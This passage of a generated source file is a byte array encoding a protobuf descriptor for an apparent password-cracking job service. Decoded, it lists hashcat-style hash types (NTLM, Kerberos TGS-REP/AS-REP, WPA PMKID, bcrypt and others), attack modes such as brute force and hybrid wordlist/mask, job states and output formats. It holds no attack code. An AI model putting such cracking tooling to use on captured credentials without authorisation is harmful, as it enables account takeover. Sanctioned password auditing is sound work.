0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, - 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, - 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, - 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, - 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, - 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, - 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, - 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, - 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, - 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, - 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, - 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, - 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, - 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, - 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, - 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, - 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, - 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, - 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, - 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, - 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, - 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, - 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, - 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, - 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, - 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, - 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, - 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, - 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, - 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, - 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, - 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, - 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, - 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, - 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, - 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, - 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, - 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, - 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, - 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, - 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, - 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, - 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, - 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, - 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, - 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, - 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, - 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, - 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, - 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, - 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, - 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, - 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, - 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, - 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, - 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, - 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, - 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, - 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, - 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, - 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, - 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, - 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, - 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, - 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, - 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, - 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, - 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, - 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, - 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, - 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, - 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, - 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, - 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, - 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, - 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, - 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, - 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, - 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, - 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, - 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, - 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, - 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, - 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, - 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, - 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, - 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, - 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, - 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, - 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, - 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, - 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, - 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, - 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, - 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, - 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, - 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, - 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, - 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, - 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, - 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, - 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, - 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, - 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, - 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, - 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, - 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, - 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, - 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, - 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, - 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, - 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, - 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, - 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, - 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, - 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, - 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, - 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, - 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, - 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, - 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, - 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, - 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, - 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, - 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, - 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, - 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, - 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, - 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, - 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, - 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, - 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, - 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, - 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, - 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, - 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, - 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, - 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, - 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, - 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, - 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, - 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, - 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, - 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, - 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, - 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, - 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, - 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, - 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, - 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, - 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, - 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, - 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, - 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, - 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, - 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, - 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, - 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, - 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, - 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, - 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, - 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, - 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, - 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, - 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, - 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, - 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, - 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, - 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, - 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, - 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, - 0x0a, 0x09, 0x4e, 